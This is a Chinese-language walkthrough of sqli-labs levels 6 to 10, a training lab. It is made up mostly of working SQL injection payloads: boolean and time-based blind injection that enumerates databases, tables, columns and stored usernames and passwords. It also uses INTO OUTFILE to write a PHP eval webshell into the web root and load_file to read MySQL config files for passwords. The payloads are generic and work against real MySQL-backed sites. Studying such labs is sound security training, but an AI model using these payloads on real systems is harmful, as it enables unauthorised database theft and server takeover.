Less6
1.代码分析
2.尝试一个payload,剩下的和第五关相同
1" and left(database(),1) = 's'--+
盲注之导入导出相关操作学习
导入文件的SQL语句: SELECT … INTO OUTFILE ‘filename’;
*把选择的行写入一个文件中。该文件被创建到服务器主机上,因此必须要拥有FILE权限,filename不能是一个存在的文件。
两种利用形式:
- 直接将slect内容导入到文件中:
SELECT version() into outfile "c:\\phpstudy\\www\\sqli"
#把version替换成为一句话
SELECT 一句话木马内容 into outfile "c:\\phpstudy\\www\\sqli"
- 修改文件结尾
SELECT version() into outfile "c:\\phhstudy\\a.php" LINES TERMINATED BY 0x16进制文件
解释:通常使用’\r\n’结尾,此处我们修改为我们想要的任何文件,同时可以使用FIELDS TERMINATED BY
16进制可以为一句话或者任何的代码,可自己构造,在sqlmap中os-shell采取的就是这样的方式,参考链接
注意:(1)可能在文件路径当中要注意转义,看具体环境
(2)上边的load_file(),当前台无法导出的时候,可以使用下边的语句
select load_file(‘c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini’)into outfile ‘c:\\wamp\\www\\test.php'
利用该语句将服务器的内容导入到web服务器的目录,这样就能得到数据了。上述my.ini当中存在password(默认被注释),当然有很多内容可以被导出来,需要靠平时的积累。
参考:sqli_labs注入天书
Less7
第七关的标题是dump into file,需要使用上边学到的导入方法。
- 分析源码,并盲注尝试
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
使用id=1’))–+返回页面和id=1一样,存在漏洞,也可以用’尝试sql报错
- 通过第一关获取绝对路径
1' and 1=3 union select 1,@@datadir,3--+
- 通过select … into outfile语句写入一句话
phpstudy要设置选项
在C:\phpstudy\MySQL\my.ini文件[mysqld]下添加一行secure_file_priv='C:/'
secure-file-priv 参数是限制MySQL当前能否进行导入导出操作的。
重启后查看设置是否生效
(1)尝试上传文本
1')) union select 1,2,3 INTO outfile "C:\\phpstudy\\WWW\\sqli-labs-master\\Less-7\\bbb.txt"--+
(2)上传一句话
1')) union select 1,2,'<?php @eval($_post["pass"]);?>' INTO outfile "C:\\phpstudy\\WWW\\sqli-labs-master\\Less-7\\1.php"--+
最后菜刀连接获取数据。
延时注入的学习
1. 利用sleep()函数进行注入
1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
1'and If(substr(database(),1,1)='s',1,sleep(5))--+
IF(expr1,expr2,expr3),如果expr1的值为true,则返回expr2的值,如expr1的值为false,则返回expr3的值
当错误的时候会有五秒的延时
2. 利用BENCHMARK()进行延时注入
1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BEN CHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as cur rent) as tb1--+
当结果正确的时候,运行 ENCODE(‘MSG’,‘by 5 seconds’)操作 50000000次,会占用一段时间
Less8
代码分析
由第八关名字和实际可以使用布尔注入
注入过程可以参考前面的布尔注入,不再赘述
Less9
代码分析
下边是基于时间盲注的部分展示
1.检测数据库长度
1' and If(length(database())=8,1,sleep(5))--+
2.猜测数据库名
1'and If(substr(database(),1,1)='s',1,sleep(5))--+
1'and If(substr(database(),2,1)='e',1,sleep(5))--+
3.接下来可以猜测表的数量
1'and If((select count(table_name) from information_schema.tables where table_schema =database())=4, 1, sleep(3))--+
得出数据库有四个表
4.猜测表名
第一个表名:
1'and If(ascii(substr((select table_name from information_s chema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+
#使用ascii码猜测
1'and If(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1) = 'a',1,sleep(5))--+
#其中limit0,1是获取第一个表,1,1就是第二个表,2,1是第三个表,3,1是第四个表
#1,1是第一个表中的第一个字符,2,1就是第二个字符,依次类推。
使用Burp
最后四个表的内容是emails,referers,uagents,users,我们把重点放在users表
5.猜测users表的列
(1)先猜测users表中有几列数据
1'and If((select count(column_name) from information_schema.columns where table_name='users')=3,1,sleep(5))--+
猜测出有3列数据。
(2)猜测列名
1'and If(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='a',1,sleep(5))--+
#同上边爆破表名一样修改0,1和1,1猜测出所有的列名为id,username,password
6.猜测users表中username和password内容
1'and If(substr((select username from users limit 0,1), 1,1)='a',1,sleep(5))--+
使用burp,可以查询到username,password中的内容
Less10
由标题看出是双引号的时间盲注
代码分析
1"and If(substr(database(),1,1)='s',1,sleep(5))--+
#把第九关的payload单引号改成双引号,就可完成此关